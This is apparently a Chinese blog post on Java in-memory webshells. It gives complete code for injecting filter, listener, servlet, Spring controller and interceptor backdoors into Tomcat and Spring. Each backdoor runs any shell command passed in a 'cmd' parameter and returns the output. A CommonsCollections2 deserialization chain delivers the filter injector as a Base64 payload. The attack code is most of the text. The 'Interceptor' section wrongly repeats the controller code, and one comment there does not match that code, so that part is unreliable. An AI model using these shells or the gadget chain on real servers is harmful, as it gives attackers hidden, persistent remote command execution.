java内存马初探及整理
servlet-api类
filter型初探
在内存中写入一个恶意filter并与某个url绑定。
整个javaweb的流程
寄出以前b站截的图
至于怎么来的,这篇文章写的很详细了
https://www.anquanke.com/post/id/253386
jsp内存马
<%--
Created by IntelliJ IDEA.
User: penson
Date: 2021/12/28
Time: 22:06
To change this template use File | Settings | File Templates.
--%>
<%--
Created by IntelliJ IDEA.
User: penson
Date: 2021/12/27
Time: 22:52
To change this template use File | Settings | File Templates.
--%>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<%
final String name = "penson";
ServletContext servletContext = request.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);
if (filterConfigs.get(name) == null){
Filter filter = new Filter() {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
HttpServletRequest req = (HttpServletRequest) servletRequest;
if (req.getParameter("cmd") != null){
byte[] bytes = new byte[1024];
String cmd = req.getParameter("cmd");
String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};
Process process = new ProcessBuilder(cmds).start();
int len = process.getInputStream().read(bytes);
servletResponse.getWriter().write(new String(bytes,0,len));
process.destroy();
return;
}
filterChain.doFilter(servletRequest,servletResponse);
}
@Override
public void destroy() {
}
};
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName(name);
filterDef.setFilterClass(filter.getClass().getName());
/**
* 将filterDef添加到filterDefs中
*/
standardContext.addFilterDef(filterDef);
FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*");
filterMap.setFilterName(name);
filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(filterMap);
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);
filterConfigs.put(name,filterConfig);
out.print("Inject Success !");
}
%>
看源码也分析的出来,产生的内存马在重启之后是会消失的,我个人改进了下内存马,会判断操作系统执行对应的命令
Listener型
主要是通过requestInitialized方法将恶意代码放进去
要实现一个 Listener 必须实现 EventListener 接口
Servlet
package com.test.servlet;
import javax.servlet.*;
import javax.servlet.annotation.WebListener;
import javax.servlet.http.HttpServletResponse;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
@WebListener()
public class Listen implements ServletRequestListener {
@Override
public void requestDestroyed(ServletRequestEvent sre) {
}
@Override
public void requestInitialized(ServletRequestEvent sre) {
String cmd ;
try{
if((cmd = sre.getServletRequest().getParameter("cmd"))!=null) {
Process process = Runtime.getRuntime().exec(cmd);
java.io.BufferedReader bufferedReader = new java.io.BufferedReader(
new java.io.InputStreamReader(process.getInputStream()));
StringBuilder stringBuilder = new StringBuilder();
String line;
while ((line = bufferedReader.readLine()) != null) {
stringBuilder.append(line + '\n');
}
Field request = sre.getServletRequest().getClass().getDeclaredField("request");
request.setAccessible(true);
org.apache.catalina.connector.Request response = (org.apache.catalina.connector.Request)request.get(sre.getServletRequest());
response.getResponse().getOutputStream().write(stringBuilder.toString().getBytes());
response.getResponse().getOutputStream().flush();
response.getResponse().getOutputStream().close();
}}catch (Exception e){
e.printStackTrace();
}
}
}
其实和Filter型内存马一个意思
Servlet型
这里就涉及servlet的底层原理了,之前期末考试背过这个玩意
Servlet主要有四个接口,而负责接受请求的方法是service方法,所以只需要将恶意代码放进service方法就能实现内存马了
package com.test.servlet;
import javax.servlet.ServletConfig;
import javax.servlet.ServletException;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.servlet.annotation.WebServlet;
import java.io.IOException;
@WebServlet("/server")
public class Servlet2 implements javax.servlet.Servlet {
@Override
public void init(ServletConfig servletConfig) throws ServletException {
}
@Override
public ServletConfig getServletConfig() {
return null;
}
@Override
public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {
String cmd ;
try{
if((cmd = servletRequest.getParameter("cmd"))!=null) {
Process process = Runtime.getRuntime().exec(cmd);
java.io.BufferedReader bufferedReader = new java.io.BufferedReader(
new java.io.InputStreamReader(process.getInputStream()));
StringBuilder stringBuilder = new StringBuilder();
String line;
while ((line = bufferedReader.readLine()) != null) {
stringBuilder.append(line + '\n');
}
servletResponse.getOutputStream().write(stringBuilder.toString().getBytes());
servletResponse.getOutputStream().flush();
servletResponse.getOutputStream().close();
}}catch (Exception e){
e.printStackTrace();
}
}
@Override
public String getServletInfo() {
return null;
}
@Override
public void destroy() {
}
}
Spring内存马
之前学过Spring,类似servlet内存马,能插的有Controller,Interceptor两种
Controller型
package com.test.exp;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
@Controller
public class SpringController {
@RequestMapping("/penson")
public void test(HttpServletRequest request, HttpServletResponse response){
String cmd ;
try{
if((cmd = request.getParameter("cmd"))!=null) {
response.getClass().getMethod("setStatus", new Class[]{int.class}).invoke(response, new Object[]{new Integer(200)});
String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};
byte[] result = (new java.util.Scanner((new ProcessBuilder(cmds)).start().getInputStream())).useDelimiter("\\A").next().getBytes();
response.getOutputStream().write(result);
response.getOutputStream().flush();
response.getOutputStream().close();
}}catch (Exception e){
e.printStackTrace();
}
}
}
Interceptor型
要实现需要继承HandlerInterceptorAdapter 类
里面有几个方法,分别在不同条件下触发,这里选择preHandle()方法
这个方法是在目标方法执行前执行
package com.test.penson.interceptors;
import org.springframework.web.servlet.handler.HandlerInterceptorAdapter;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.PrintWriter;
import java.lang.reflect.Field;
public class interceptors extends HandlerInterceptorAdapter {
@Override
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
String cmd ;
try{
if((cmd = request.getParameter("cmd"))!=null) {
Process process = Runtime.getRuntime().exec(cmd);
java.io.BufferedReader bufferedReader = new java.io.BufferedReader(
new java.io.InputStreamReader(process.getInputStream()));
StringBuilder stringBuilder = new StringBuilder();
String line;
while ((line = bufferedReader.readLine()) != null) {
stringBuilder.append(line + '\n');
}
response.getOutputStream().write(stringBuilder.toString().getBytes());
response.getOutputStream().flush();
response.getOutputStream().close();
}}catch (Exception e){
e.printStackTrace();
}
return true;
}
}
拦截器注册
package com.test.penson.configs;
import com.test.penson.interceptors.interceptors;
import org.springframework.context.annotation.Configuration;
import org.springframework.web.servlet.config.annotation.InterceptorRegistry;
import org.springframework.web.servlet.config.annotation.WebMvcConfigurer;
@Configuration
public class interceptorsConfig implements WebMvcConfigurer {
@Override
public void addInterceptors(InterceptorRegistry registry) {
registry.addInterceptor(new interceptors());
}
}
这里放上以前学的拦截器配置
结合反序列化
Filter型
package com.test.exp;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.LifecycleState;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.ApplicationFilterConfig;
import org.apache.catalina.core.StandardContext;
import org.apache.tomcat.util.descriptor.web.FilterDef;
import org.apache.tomcat.util.descriptor.web.FilterMap;
import javax.naming.Context;
import javax.servlet.*;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.Map;
import java.util.Scanner;
public class Filterinject extends AbstractTranslet implements Filter {
private final String cmdParamName = "cmd";
private final static String filterUrlPattern = "/*";
private final static String filterName = "evilFilter";
static {
try {
Class c = Class.forName("org.apache.catalina.core.StandardContext");
org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase =
(org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();
ServletContext servletContext = standardContext.getServletContext();
Field Configs = Class.forName("org.apache.catalina.core.StandardContext").getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);
if (filterConfigs.get(filterName) == null){
java.lang.reflect.Field stateField = org.apache.catalina.util.LifecycleBase.class
.getDeclaredField("state");
stateField.setAccessible(true);
stateField.set(standardContext, org.apache.catalina.LifecycleState.STARTING_PREP);
Filter MemShell = new Filterinject();
javax.servlet.FilterRegistration.Dynamic filterRegistration = servletContext
.addFilter(filterName, MemShell);
filterRegistration.setInitParameter("encoding", "utf-8");
filterRegistration.setAsyncSupported(false);
filterRegistration
.addMappingForUrlPatterns(java.util.EnumSet.of(javax.servlet.DispatcherType.REQUEST), false,
new String[]{filterUrlPattern});
if (stateField != null) {
stateField.set(standardContext, org.apache.catalina.LifecycleState.STARTED);
}
if (standardContext != null){
Method filterStartMethod = org.apache.catalina.core.StandardContext.class
.getMethod("filterStart");
filterStartMethod.setAccessible(true);
filterStartMethod.invoke(standardContext, null);
Class ccc = null;
try {
ccc = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap");
} catch (Throwable t){}
if (ccc == null) {
try {
ccc = Class.forName("org.apache.catalina.deploy.FilterMap");
} catch (Throwable t){}
}
Method m = c.getMethod("findFilterMaps");
Object[] filterMaps = (Object[]) m.invoke(standardContext);
Object[] tmpFilterMaps = new Object[filterMaps.length];
int index = 1;
for (int i = 0; i < filterMaps.length; i++) {
Object o = filterMaps[i];
m = ccc.getMethod("getFilterName");
String name = (String) m.invoke(o);
if (name.equalsIgnoreCase(filterName)) {
tmpFilterMaps[0] = o;
} else {
tmpFilterMaps[index++] = filterMaps[i];
}
}
for (int i = 0; i < filterMaps.length; i++) {
filterMaps[i] = tmpFilterMaps[i];
}
}
}
} catch (Exception e){
e.printStackTrace();
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
HttpServletRequest req = (HttpServletRequest) servletRequest;
System.out.println("Do Filter ......");
String cmd;
if ((cmd = servletRequest.getParameter(cmdParamName)) != null) {
Process process = Runtime.getRuntime().exec(cmd);
java.io.BufferedReader bufferedReader = new java.io.BufferedReader(
new java.io.InputStreamReader(process.getInputStream()));
StringBuilder stringBuilder = new StringBuilder();
String line;
while ((line = bufferedReader.readLine()) != null) {
stringBuilder.append(line + '\n');
}
servletResponse.getOutputStream().write(stringBuilder.toString().getBytes());
servletResponse.getOutputStream().flush();
servletResponse.getOutputStream().close();
return;
}
filterChain.doFilter(servletRequest, servletResponse);
}
@Override
public void destroy() {
}
}
Listener型
之前在找的时候主要没有response,无法将命令回显出来,后来在这篇文章找到了获取response的方法
https://www.cnblogs.com/zpchcbd/p/15154256.html
package com.test.exp;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.StandardContext;
import javax.servlet.*;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.*;
import java.lang.reflect.Field;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.List;
public class Listenerinject extends AbstractTranslet implements ServletRequestListener {
private final String cmdParamName = "cmd";
static {
try {
org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase =
(org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext standardContext1 = (StandardContext) webappClassLoaderBase.getResources().getContext();
ServletContext servletContext = standardContext1.getServletContext();
Field applicationContextField = servletContext.getClass().getDeclaredField("context");
applicationContextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(servletContext);
Field standardContextField = applicationContext.getClass().getDeclaredField("context");
standardContextField.setAccessible(true);
StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);
Object[] objects = standardContext.getApplicationEventListeners();
List<Object> listeners = Arrays.asList(objects);
List<Object> arrayList = new ArrayList(listeners);
arrayList.add(new Listenerinject());
standardContext.setApplicationEventListeners(arrayList.toArray());
}catch (Exception e){
e.printStackTrace();
}
}
@Override
public void requestDestroyed(ServletRequestEvent sre) {
}
@Override
public void requestInitialized(ServletRequestEvent sre) {
String cmd ;
try{
if((cmd = sre.getServletRequest().getParameter(cmdParamName))!=null) {
Process process = Runtime.getRuntime().exec(cmd);
java.io.BufferedReader bufferedReader = new java.io.BufferedReader(
new java.io.InputStreamReader(process.getInputStream()));
StringBuilder stringBuilder = new StringBuilder();
String line;
while ((line = bufferedReader.readLine()) != null) {
stringBuilder.append(line + '\n');
}
Field request = sre.getServletRequest().getClass().getDeclaredField("request");
request.setAccessible(true);
org.apache.catalina.connector.Request response = (org.apache.catalina.connector.Request)request.get(sre.getServletRequest());
response.getResponse().getOutputStream().write(stringBuilder.toString().getBytes());
response.getResponse().getOutputStream().flush();
response.getResponse().getOutputStream().close();
}}catch (Exception e){
e.printStackTrace();
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
Servlet型
Servlet的产生和插入参考: https://blog.csdn.net/angry_program/article/details/118492214
其实这三个内存马都用到了StandardContext来进行插入
package com.test.exp;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.Wrapper;
import org.apache.catalina.core.StandardContext;
import javax.servlet.*;
import java.io.IOException;
public class Servletinject extends AbstractTranslet implements Servlet {
private final String cmdParamName = "cmd";
static {
try {
org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase =
(org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext standardContext1 = (StandardContext) webappClassLoaderBase.getResources().getContext();
//利用wrapper来创建
Wrapper wrapper = standardContext1.createWrapper();
Servletinject servletinject = new Servletinject();
String name=servletinject.getClass().getSimpleName();
wrapper.setName(name);
wrapper.setLoadOnStartup(1);
wrapper.setServlet(servletinject);
wrapper.setServletClass(name);
//url绑定
standardContext1.addChild(wrapper);
standardContext1.addServletMappingDecoded("/penson",name);
}catch (Exception e){
e.printStackTrace();
}
}
@Override
public void init(ServletConfig servletConfig) throws ServletException {
}
@Override
public ServletConfig getServletConfig() {
return null;
}
@Override
public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {
String cmd ;
try{
if((cmd = servletRequest.getParameter(cmdParamName))!=null) {
Process process = Runtime.getRuntime().exec(cmd);
java.io.BufferedReader bufferedReader = new java.io.BufferedReader(
new java.io.InputStreamReader(process.getInputStream()));
StringBuilder stringBuilder = new StringBuilder();
String line;
while ((line = bufferedReader.readLine()) != null) {
stringBuilder.append(line + '\n');
}
servletResponse.getOutputStream().write(stringBuilder.toString().getBytes());
servletResponse.getOutputStream().flush();
servletResponse.getOutputStream().close();
}}catch (Exception e){
e.printStackTrace();
}
}
@Override
public String getServletInfo() {
return null;
}
@Override
public void destroy() {
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
Controller型
package com.test.exp;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.handler.AbstractHandlerMethodMapping;
import org.springframework.web.servlet.handler.HandlerInterceptorAdapter;
import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.*;
public class SpringinjectController extends AbstractTranslet {
static {
try {
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
// 1. 从当前上下文环境中获得 RequestMappingHandlerMapping 的实例 bean
RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
// 可选步骤,判断url是否存在
AbstractHandlerMethodMapping abstractHandlerMethodMapping = context.getBean(AbstractHandlerMethodMapping.class);
Method method = Class.forName("org.springframework.web.servlet.handler.AbstractHandlerMethodMapping").getDeclaredMethod("getMappingRegistry");
method.setAccessible(true);
Object mappingRegistry = (Object) method.invoke(abstractHandlerMethodMapping);
Field field = Class.forName("org.springframework.web.servlet.handler.AbstractHandlerMethodMapping$MappingRegistry").getDeclaredField("urlLookup");
field.setAccessible(true);
Map urlLookup = (Map) field.get(mappingRegistry);
Iterator urlIterator = urlLookup.keySet().iterator();
List<String> urls = new ArrayList();
while (urlIterator.hasNext()){
String urlPath = (String) urlIterator.next();
if ("/malicious".equals(urlPath)){
System.out.println("url已存在");
}
}
// 可选步骤,判断url是否存在
// 2. 通过反射获得自定义 controller 中test的 Method 对象
Method method2 = SpringinjectController.class.getMethod("huixian");
// 3. 定义访问 controller 的 URL 地址
PatternsRequestCondition url = new PatternsRequestCondition("/pensontest");
// 4. 定义允许访问 controller 的 HTTP 方法(GET/POST)
RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
// 5. 在内存中动态注册 controller
RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
SpringinjectController injectToController = new SpringinjectController();
mappingHandlerMapping.registerMapping(info, injectToController, method2);
}catch (Exception e){
e.printStackTrace();
}
}
public void huixian() {
String cmd;
HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();
try {
if ((cmd = request.getParameter("cmd")) != null) {
response.getClass().getMethod("setStatus", new Class[]{int.class}).invoke(response, new Object[]{new Integer(200)});
String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};
byte[] result = (new java.util.Scanner((new ProcessBuilder(cmds)).start().getInputStream())).useDelimiter("\\A").next().getBytes();
response.getOutputStream().write(result);
response.getOutputStream().flush();
response.getOutputStream().close();
}
} catch (Exception e) {
e.printStackTrace();
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
Interceptor型
接着只需要根据debug调一调就能知道拦截器是怎么产生的了,其他文章也有,不细说了
参考: https://i.hacking8.com/page/22118
- 首先获取应用的上下文环境,也就是
ApplicationContext
- 然后从
ApplicationContext
中获取AbstractHandlerMapping
实例(用于反射) - 反射获取
AbstractHandlerMapping
类的adaptedInterceptors
字段 - 通过
adaptedInterceptors
注册拦截器
确实和tomcat内存马很类似
package com.test.exp;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.handler.AbstractHandlerMethodMapping;
import org.springframework.web.servlet.handler.HandlerInterceptorAdapter;
import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.*;
public class SpringinjectController extends AbstractTranslet {
static {
try {
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
// 1. 从当前上下文环境中获得 RequestMappingHandlerMapping 的实例 bean
RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
// 可选步骤,判断url是否存在
AbstractHandlerMethodMapping abstractHandlerMethodMapping = context.getBean(AbstractHandlerMethodMapping.class);
Method method = Class.forName("org.springframework.web.servlet.handler.AbstractHandlerMethodMapping").getDeclaredMethod("getMappingRegistry");
method.setAccessible(true);
Object mappingRegistry = (Object) method.invoke(abstractHandlerMethodMapping);
Field field = Class.forName("org.springframework.web.servlet.handler.AbstractHandlerMethodMapping$MappingRegistry").getDeclaredField("urlLookup");
field.setAccessible(true);
Map urlLookup = (Map) field.get(mappingRegistry);
Iterator urlIterator = urlLookup.keySet().iterator();
List<String> urls = new ArrayList();
while (urlIterator.hasNext()){
String urlPath = (String) urlIterator.next();
if ("/malicious".equals(urlPath)){
System.out.println("url已存在");
}
}
// 可选步骤,判断url是否存在
// 2. 通过反射获得自定义 controller 中test的 Method 对象
Method method2 = SpringinjectController.class.getMethod("huixian");
// 3. 定义访问 controller 的 URL 地址
PatternsRequestCondition url = new PatternsRequestCondition("/pensontest");
// 4. 定义允许访问 controller 的 HTTP 方法(GET/POST)
RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
// 5. 在内存中动态注册 controller
RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
// 创建用于处理请求的对象,加入“aaa”参数是为了触发第二个构造函数避免无限循环
SpringinjectController injectToController = new SpringinjectController();
mappingHandlerMapping.registerMapping(info, injectToController, method2);
}catch (Exception e){
e.printStackTrace();
}
}
public void huixian() {
String cmd;
HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();
try {
if ((cmd = request.getParameter("cmd")) != null) {
response.getClass().getMethod("setStatus", new Class[]{int.class}).invoke(response, new Object[]{new Integer(200)});
String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};
byte[] result = (new java.util.Scanner((new ProcessBuilder(cmds)).start().getInputStream())).useDelimiter("\\A").next().getBytes();
response.getOutputStream().write(result);
response.getOutputStream().flush();
response.getOutputStream().close();
}
} catch (Exception e) {
e.printStackTrace();
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
cc2
package com.test.exp;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.test.exp.Filterecho;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;
import sun.misc.BASE64Encoder;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.Comparator;
import java.util.PriorityQueue;
import static java.util.Base64.getDecoder;
public class CommonsCollections2 {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
protected static byte[] getBytescode() throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.get(Filterinject.class.getName());
return clazz.toBytecode();
}
public static byte[] getPayload(byte[] clazzBytes) throws Exception{
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{clazzBytes});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
Transformer transformer = new InvokerTransformer("toString", null, null);
Comparator comparator = new TransformingComparator(transformer);
PriorityQueue queue = new PriorityQueue(2, comparator);
queue.add(obj);
queue.add(obj);
setFieldValue(transformer, "iMethodName", "newTransformer");
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(queue);
oos.close();
Base64.Encoder encoder = Base64.getEncoder();
String encode = encoder.encodeToString(barr.toByteArray());
System.out.println(encode);
Base64.Decoder decoder = getDecoder();
byte[] bytes = decoder.decode(encode);
// ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(bytes));
// Object o = (Object)ois.readObject();
return bytes;
}
public static void main(String[] args) throws Exception {
byte[] bytescode = getBytescode();
getPayload(bytescode);
}
}
参考:
http://wjlshare.com/archives/1529
https://www.anquanke.com/post/id/253386
https://www.cnblogs.com/nice0e3/p/14891711.html#0x03-%E5%86%85%E5%AD%98%E9%A9%AC%E6%9E%84%E9%80%A0